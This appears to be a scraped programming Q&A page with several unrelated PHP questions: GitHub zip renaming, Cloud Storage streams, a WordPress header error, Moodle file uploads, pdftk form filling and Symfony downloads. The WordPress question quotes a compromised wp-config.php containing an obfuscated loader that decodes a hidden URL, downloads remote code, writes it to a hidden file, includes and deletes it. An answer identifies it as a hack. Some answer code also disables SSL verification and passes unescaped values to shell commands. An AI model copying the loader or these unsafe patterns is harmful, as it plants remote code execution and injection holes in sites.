I've been trying to solve this but can't seem to find anything on it.
When you "Download ZIP" from github, it doesn't give you the "theme_name.zip" that you'd hope for, but rather "theme_name-master.zip", which when average users install this the messed up folder name throws off child themes.
How can this be remedied, so that the zip download does not change anything?
For simplicity, You could host a script somewhere that downloads the script, renames the folder without the -master and then rezip's the project, then send it to the user as a download.
So something like (Requires PHP5 >= 5.2.0, cURL, ZipArchive, safe_mode & open_basedir off):
Fork it from GitHub ;p
<?php
//Example Usage
new GitDL('https://github.com/lcherone/GitDL');
/**
* GitHub Project/Repository Downloader proxy.
* This class will handle downloading, removing master folder prefix,
* repacking and proxying back the project as a download.
*
* #author Lawrence Cherone
* #version 0.2
*/
class GitDL{
// project files working directory - automatically created
const PWD = "./project_files/";
/**
* Class construct.
*
* #param string $url
*/
function __construct($url=null){
// check construct argument
if(!$url) die('Class Error: Missing construct argument: $url');
// fix trailing slash if any
$url = rtrim($url, '/');
// assign class properties
$this->project = basename($url);
$this->project_url = $url.'/archive/master.zip';
$this->tmp_file = md5($url).'.zip';
// make project working folder
if(!file_exists(self::PWD)){
mkdir(self::PWD.md5($url), 0775, true);
}
// get project zip from GitHub
try{
$this->get_project();
}catch(Exception $e){
die($e->getMessage());
}
// extract project zip from git
$this->extract(self::PWD.$this->tmp_file, self::PWD.md5($url));
// remove the master part, by renaming
rename(self::PWD.md5($url).'/'.$this->project.'-master', self::PWD.md5($url).'/'.$this->project);
// rezip project files
$this->zipcreate(self::PWD.md5($url), self::PWD.'new_'.$this->tmp_file);
// send zip to user
header('Content-Description: File Transfer');
header('Content-Type: application/zip');
header('Content-Disposition: attachment; filename="'.$this->project.'.zip"');
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: '.sprintf("%u", filesize(self::PWD.'new_'.$this->tmp_file)));
readfile(self::PWD.'new_'.$this->tmp_file);
// cleanup
$this->destroy_dir(self::PWD.md5($url));
unlink(self::PWD.$this->tmp_file);
unlink(self::PWD.'new_'.$this->tmp_file);
}
/**
* cURL GitHub project downloader.
* No support for open base dir/safe mode as there is a GitHub redirect to there CDN
* a HEAD pre-check is done to check project exists,
* project zip is written directly to the file.
*/
function get_project(){
// check curl installed
if(!function_exists('curl_init')){
throw new Exception('cURL Error: You must have cURL installed to use this class.');
}
// check for unsupported settings
if (ini_get('open_basedir') != '' || ini_get('safe_mode') == 'On'){
throw new Exception('cURL Error: safe_mode or an open_basedir is enabled, class not supported.');
}
// HEAD request - To verify the project exists
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_URL => $this->project_url,
CURLOPT_TIMEOUT => 5,
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_FAILONERROR => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_BINARYTRANSFER => true,
CURLOPT_HEADER => false,
CURLOPT_NOBODY => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_SSL_VERIFYPEER => false,
));
// lets grab it
if(curl_exec($ch) !== false){
$fp = fopen(self::PWD.$this->tmp_file, 'a+b');
if(flock($fp, LOCK_EX | LOCK_NB)){
// empty possible contents
ftruncate($fp, 0);
rewind($fp);
// HTTP GET request - write directly to the file
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_URL => $this->project_url,
CURLOPT_TIMEOUT => 5,
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_FAILONERROR => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_BINARYTRANSFER => true,
CURLOPT_HEADER => false,
CURLOPT_FILE => $fp,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_SSL_VERIFYPEER => false,
));
// transfer failed
if(curl_exec($ch) === false){
ftruncate($fp, 0);
throw new Exception('cURL Error: transfer failed.');
}
fflush($fp);
flock($fp, LOCK_UN);
curl_close($ch);
}
fclose($fp);
}else{
curl_close($ch);
throw new Exception('Error: '.htmlentities($this->project).' project not found on GitHub');
}
}
/**
* Create zip from extracted/fixed project.
*
* #uses ZipArchive
* #uses RecursiveIteratorIterator
* #param string $source
* #param string $destination
* #return bool
*/
function zipcreate($source, $destination) {
if (!extension_loaded('zip') || !file_exists($source)) {
return false;
}
$zip = new ZipArchive();
if (!$zip->open($destination, ZIPARCHIVE::CREATE)) {
return false;
}
$source = str_replace('\\', '/', realpath($source));
if (is_dir($source) === true) {
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
foreach ($files as $file) {
$file = str_replace('\\', '/', realpath($file));
if (is_dir($file) === true) {
$zip->addEmptyDir(str_replace($source.'/', '', $file.'/'));
} else if (is_file($file) === true) {
$zip->addFromString(str_replace($source.'/', '', $file), file_get_contents($file));
}
}
}
return $zip->close();
}
/**
* Extract Zip file
*
* #uses ZipArchive
* #param string $source
* #param string $destination
* #return bool
*/
function extract($source, $destination){
$zip = new ZipArchive;
if($zip->open($source) === TRUE) {
$zip->extractTo($destination);
$zip->close();
return true;
} else {
return false;
}
}
/**
* Recursive directory remover/deleter
*
* #uses RecursiveIteratorIterator
* #param string $dir
* #return bool
*/
function destroy_dir($dir) {
foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) as $path) {
$path->isFile() ? unlink($path->getPathname()) : rmdir($path->getPathname());
}
return rmdir($dir);
}
}
?>
That's a bit problematic and I don't think there's a real fix, only workarounds. I faced the same problem with plugins and have only a partial solution: it works only on plugin/theme updates, not when installing.
Never tried, but maybe it's possible to perform the folder rename on plugin (register_activation_hook) or theme (after_switch_theme) activation.
I've checked the core and the filter upgrader_source_selection works for themes and plugins. The repo slug is in GitHub's URL: http://github.com/user/repo-name.
public static $repo_slug = 'repo-name';
add_filter( 'upgrader_source_selection', array( $this, 'rename_github_zip' ), 1, 3 );
/**
* Removes the prefix "-master" when updating from GitHub zip files
*
* See: https://github.com/YahnisElsts/plugin-update-checker/issues/1
*
* #param string $source
* #param string $remote_source
* #param object $thiz
* #return string
*/
public function rename_github_zip( $source, $remote_source, $thiz )
{
if( strpos( $source, self::$repo_slug ) === false )
return $source;
$path_parts = pathinfo($source);
$newsource = trailingslashit($path_parts['dirname']). trailingslashit( self::$repo_slug );
rename($source, $newsource);
return $newsource;
}
Related
I'm trying to serve large audio files from google cloud storage with seeking support.
I have difficulties understanding php fopen and google stream wrapper working together.
When fopen is called it immediately calls stream_open from google StreamWrapper class.
However im unable to pass options to it through fopen context. I would like to set bitwise option 0b10000 as its STREAM_MUST_SEEK option. $flags parameter is always 0.
https://www.php.net/manual/en/streamwrapper.stream-open
Documentation shows there are atleast two options you can set, but it doesnt tell where you can set them.
Without $flag set to 0b10000 im getting:
PHP Warning: stream_copy_to_stream(): Failed to seek to position 85721088 in the stream in /home/project/src/Classes/StreamResponse.php on line 296
If i set $flags to 0b10000 it works and supports seeking.
$opts = array(
'gs' => array('key' => 'value')
);
$context = stream_context_create($opts);
$out = fopen('php://output', 'wb');
$file = fopen($this->file->getPathname(), 'rb', false, $context);
stream_copy_to_stream($file, $out, $this->maxlen, $this->offset);
fclose($out);
fclose($file);
/**
* Callback handler for when a stream is opened. For reads, we need to
* download the file to see if it can be opened.
*
* #param string $path The path of the resource to open
* #param string $mode The fopen mode. Currently only supports ('r', 'rb', 'rt', 'w', 'wb', 'wt')
* #param int $flags Bitwise options STREAM_USE_PATH|STREAM_REPORT_ERRORS|STREAM_MUST_SEEK
* #param string $openedPath Will be set to the path on success if STREAM_USE_PATH option is set
* #return bool
*/
public function stream_open($path, $mode, $flags, &$openedPath)
{
$client = $this->openPath($path);
// strip off 'b' or 't' from the mode
$mode = rtrim($mode, 'bt');
$options = [];
if ($this->context) {
$contextOptions = stream_context_get_options($this->context);
if (array_key_exists($this->protocol, $contextOptions)) {
$options = $contextOptions[$this->protocol] ?: [];
}
}
if ($mode == 'w') {
$this->stream = new WriteStream(null, $options);
$this->stream->setUploader(
$this->bucket->getStreamableUploader(
$this->stream,
$options + ['name' => $this->file]
)
);
} elseif ($mode == 'r') {
try {
// Lazy read from the source
$options['restOptions']['stream'] = true;
$this->stream = new ReadStream(
$this->bucket->object($this->file)->downloadAsStream($options)
);
// Wrap the response in a caching stream to make it seekable
if (!$this->stream->isSeekable() && ($flags & STREAM_MUST_SEEK)) {
$this->stream = new CachingStream($this->stream);
}
} catch (ServiceException $ex) {
return $this->returnError($ex->getMessage(), $flags);
}
} else {
return $this->returnError('Unknown stream_open mode.', $flags);
}
if ($flags & STREAM_USE_PATH) {
$openedPath = $path;
}
return true;
}
My wp-admin page on my wordpress is giving me this error. I was getting a blank screen so I turned on debug.
Warning: Cannot modify header information - headers already sent by
(output started at/home/content/n3pnexwpnas01_data01/71/3047171/html/wp-config.php:1) in
/home/content/n3pnexwpnas01_data01/71/3047171/html/wp-
includes/pluggable.php on line 1216
I checked my problematic wp-config.php file at line 1 and it doesn't seem to have extra spaces or extra tags at the beginning or end of the file that other guides recommend I get rid of. Does anyone have any advice?
This is the wp-config.php file
<?php
#ini_set('display_errors', '0');
error_reporting(0);
if (!$npDcheckClassBgp) {
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrLUocQYT5ZtHJf/cM1fWdrpdmmSLH6uToRkH";
if (ini_get('allow_url_fopen')) {
function get_data_ya($url) {
$data = file_get_contents($url);
return $data;
}
}
else {
function get_data_ya($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
}
function wp_cd($fd, $fa="")
{
$fe = "wp_frmfunct";
$len = strlen($fd);
$ff = '';
$n = $len>100 ? 8 : 2;
while( strlen($ff)<$len )
{
$ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
}
return $fd^$ff;
}
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
$dirs = glob("*", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
$subdirs = glob("$dira/*", GLOB_ONLYDIR);
foreach ($subdirs as $subdira) {
if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
}
}
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
fwrite($hdl, "<?php\n$mtchs[1]\n?>");
fclose($hdl);
include("{$eb}.$algo");
unlink("{$eb}.$algo");
$npDcheckClassBgp = 'aue';
}
?><?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* #link https://codex.wordpress.org/Editing_wp-config.php
*
* #package WordPress
*
/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_1ab28k9bjk_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the Codex.
*
* #link https://codex.wordpress.org/Debugging_in_WordPress
*/
define('WP_DEBUG', true);
//define( 'WP_CACHE', true );
require_once( dirname( __FILE__ ) . '/gd-config.php' );
define( 'FS_METHOD', 'direct');
define('FS_CHMOD_DIR', (0705 & ~ umask()));
define('FS_CHMOD_FILE', (0604 & ~ umask()));
/* That's all, stop editing! Happy blogging. */
/** Absolute path to the WordPress directory. */
if ( !defined('ABSPATH') )
define('ABSPATH', dirname(__FILE__) . '/');
/** Sets up WordPress vars and included files. */
require_once(ABSPATH . 'wp-settings.php');
I would guess your site got hacked so remove everything before the second <?php
I have been making a plugin which allows admins to upload image, i can see the image(so can other people which is expected), delete and re-upload, but the problem is when another admin try to edit the plugin, they cant see the draft image, they only see the image they upload and i see the image i upload as draft. What i want is if i upload an image everyone that tries to edit, they should see the image i have upload as draft.
I will add my code below, if someone can help i will really appreciate it.
view.php:
$i = 1;
$out = array();
$fs = get_file_storage();
$files = $fs->get_area_files($this->context->id, 'block_cls_user_profile', 'cls_img', $i, false, false);
foreach ($files as $file) {
$filename = $file->get_filename();
$url = moodle_url::make_pluginfile_url(
$file->get_contextid(),
$file->get_component(),
$file->get_filearea(),
$file->get_itemid(),
$file->get_filepath(),
$filename);
// $out[] = html_writer::link($url, $filename);
}
// $br = html_writer::empty_tag('br');
lib.php
// Check the contextlevel is as expected - if your plugin is a block, this becomes CONTEXT_BLOCK, etc.
if ($context->contextlevel != CONTEXT_BLOCK) {
return false;
}
// Make sure the filearea is one of those used by the plugin.
if ($filearea !== 'cls_img') {
return false;
}
// $fs = get_file_storage();
// $file = $fs->get_file($context->id, 'local_myplugin', $filearea, $args[0], '/', $args[1]);
// send_stored_file($file);
// Make sure the user is logged in and has access to the module (plugins that are not course modules should leave out the 'cm' part).
require_login($course, true);
// No check for capability, because everybody needs to see it
// Check the relevant capabilities - these may vary depending on the filearea being accessed.
/*
if (!has_capability('mod/bookcase:addinstance', $context)) {
return false;
}
*/
// Leave this line out if you set the itemid to null in make_pluginfile_url (set $itemid to 0 instead).
$itemid = array_shift($args); // The first item in the $args array.
// Use the itemid to retrieve any relevant data records and perform any security checks to see if the
// user really does have access to the file in question.
// Extract the filename / filepath from the $args array.
$filename = array_pop($args); // The last item in the $args array.
if (!$args) {
$filepath = '/'; // $args is empty => the path is '/'
} else {
$filepath = '/'.implode('/', $args).'/'; // $args contains elements of the filepath
}
// Retrieve the file from the Files API.
$fs = get_file_storage();
$file = $fs->get_file($context->id, 'block_cls_user_profile', $filearea, $itemid, $filepath, $filename);
if (!$file) {
return false; // The file does not exist.
}
// We can now send the file back to the browser - in this case with a cache lifetime of 1 day and no filtering.
// From Moodle 2.3, use send_stored_file instead.
send_stored_file($file, 86400, 0, $forcedownload, $options);
edit_form.php
$mform->addElement('filemanager', 'config_profile_image', get_string('file'), null,
array('maxbytes' => $CFG->maxbytes, 'areamaxbytes' => 10485760, 'maxfiles' => 1,
'accepted_types' => '*', 'return_types'=> FILE_INTERNAL | FILE_EXTERNAL));
$i = 1;
if ($draftitemid = file_get_submitted_draft_itemid('config_profile_image')) {
file_save_draft_area_files($draftitemid, $this->block->context->id, 'block_cls_user_profile', 'cls_img', $i,array('subdirs' => false, 'maxfiles' => 1));
}
I have edited the edit_form.php and now it looks like this:
global $CFG, $mform;
$i = 0;
$draftitemid = file_get_submitted_draft_itemid('config_profile_image');
file_prepare_draft_area($draftitemid, $this->block->context->id, 'block_cls_user_profile', 'cls_img', $i,
array('subdirs' => 0, 'maxbytes' => $CFG->maxbytes, 'maxfiles' => 1));
$entry->config_profile_image = $draftitemid;
$mform->set_data($entry);
file_save_draft_area_files($draftitemid, $this->block->context->id, 'block_cls_user_profile', 'cls_img', $i,array('subdirs' => false, 'maxfiles' => 1));
parent::set_data($defaults);}}
But the error i get now is 'Call to a member function set_data() on null'.
Thank you.
So, here's the skinny.
I have an HTML form (of which there will be many depending on the Letter template) that passes the form data into a Letter Template via PHP. THIS...I have successfully done.
However, what I need is to pass the data INTO the template, THEN turn that template INTO a PDF.
Any suggestions? AND......GO
I've recently use pdftk (server) to do so: https://www.pdflabs.com/tools/pdftk-server/
First, install it on a webserver or locally.
Then, here's a PHP class I adapted from the web (copy it and name it PdfFormToPdftk.php):
<?php
class PdfFormToPdftk {
/*
* Path to raw PDF form
* #var string
*/
private $pdfurl;
/*
* Path to PDFKTK
* #var string
*/
private $pdftkpath;
/*
* Path to temp files
* #var string
*/
private $tmppath;
/*
* Errors
* #var string
*/
private $errors;
/*
* Last command done
* #var string
*/
private $lastcmd;
/*
* Form data
* #var array
*/
private $data;
/*
* Path to filled PDF form
* #var string
*/
private $output;
/*
* Flag for flattening the file
* #var string
*/
private $flatten;
public function __construct($pdfurl, $data, $tmppath, $pdftkpath = '/usr/bin/pdftk') {
$this->pdfurl = $pdfurl;
$this->data = $data;
$this->tmppath = $tmppath;
$this->pdftkpath = $pdftkpath;
}
private function tempfile() {
return tempnam($this->tmppath, gethostname());
}
public function fields($pretty = false) {
$tmp = $this->tempfile();
exec("{$this->pdftkpath} {$this->pdfurl} dump_data_fields > {$tmp}");
$con = file_get_contents($tmp);
unlink($tmp);
return $pretty == true ? nl2br($con) : $con;
}
private function makeFdf() {
$fdf = '%FDF-1.2
1 0 obj<</FDF<< /Fields[';
foreach ($this->data as $key => $value) {
$fdf .= '<</T(' . $key . ')/V(' . $value . ')>>';
}
$fdf .= "] >> >>
endobj
trailer
<</Root 1 0 R>>
%%EOF";
$fdf_file = $this->tempfile();
file_put_contents($fdf_file, $fdf);
return $fdf_file;
}
public function flatten() {
$this->flatten = ' flatten';
return $this;
}
private function generate() {
$fdf = $this->makeFdf();
$this->output = $this->tempfile();
$cmd = "{$this->pdftkpath} {$this->pdfurl} fill_form {$fdf} output {$this->output}{$this->flatten} 2>&1";
$this->lastcmd = $cmd;
exec($cmd, $outputAndErrors, $returnValue);
$this->errors = $outputAndErrors;
unlink($fdf);
}
public function save($path = null) {
if (is_null($path)) {
return $this;
}
if (!$this->output) {
$this->generate();
}
$dest = pathinfo($path, PATHINFO_DIRNAME);
if (!file_exists($dest)) {
mkdir($dest, 0775, true);
}
if (!copy($this->output, $path)) {
echo "failed to copy $path...\n";
}
unlink($this->output);
$this->output = $path;
return $this;
}
public function download() {
if (!$this->output) {
$this->generate();
}
$filepath = $this->output;
if (file_exists($filepath)) {
header('Content-Description: File Transfer');
header('Content-Type: application/pdf');
header('Content-Disposition: attachment; filename=' . uniqid(gethostname()) . '.pdf');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));
readfile($filepath);
exit;
}
}
}
You could use it like this in some script:
<?php
require_once 'PdfFormToPdftk.php';
$datas = ['firstname' => 'Foo', 'lastname' => 'Bar'];
$output_file = 'yourfile.pdf';
$template_pdf_file = 'templatefile.pdf'; //where your virgin pdf template contains at least 'firstname' and 'lastname' as editable fields. You might want to use Adobe Acrobat Pro and save it as a Adobe Static PDF Form
$path_to_pdftk_server = '/opt/pdflabs/pdftk/bin/pdftk'; // type 'which pdftk' in your console to find yours
$pdf = new PdfFormToPdftk($template_pdf_file, $datas, '/', $path_to_pdftk_server);
$file = $pdf->save($output_file);
I want to serve a image as Response in Symfony 2.3.16
So I'm doing this in my action:
$image = $this->getDoctrine()->getRepository('MakoBackendBundle:Image')->find($id);
if($image !== null) {
/** #var $image Image */
$info = getimagesize($image->getAbsolutePath());
$content = file_get_contents($image->getAbsolutePath());
return new Response($content, 200, array(
'Content-Type' => $info['mime'],
'Content-Length' => strlen($content),
'Content-Disposition' => 'attachment;'
));
}
return new Response();
My question is how can I serve this image with a different name, like a time based hash or something? I want to serve it with a different name than it is stored on the server-side.
Symfony2 has a helper for this. This is from the documentation.
use Symfony\Component\HttpFoundation\ResponseHeaderBag;
$d = $response->headers->makeDisposition(
ResponseHeaderBag::DISPOSITION_ATTACHMENT, // disposition
'foo.pdf' // filename
);
$response->headers->set('Content-Disposition', $d);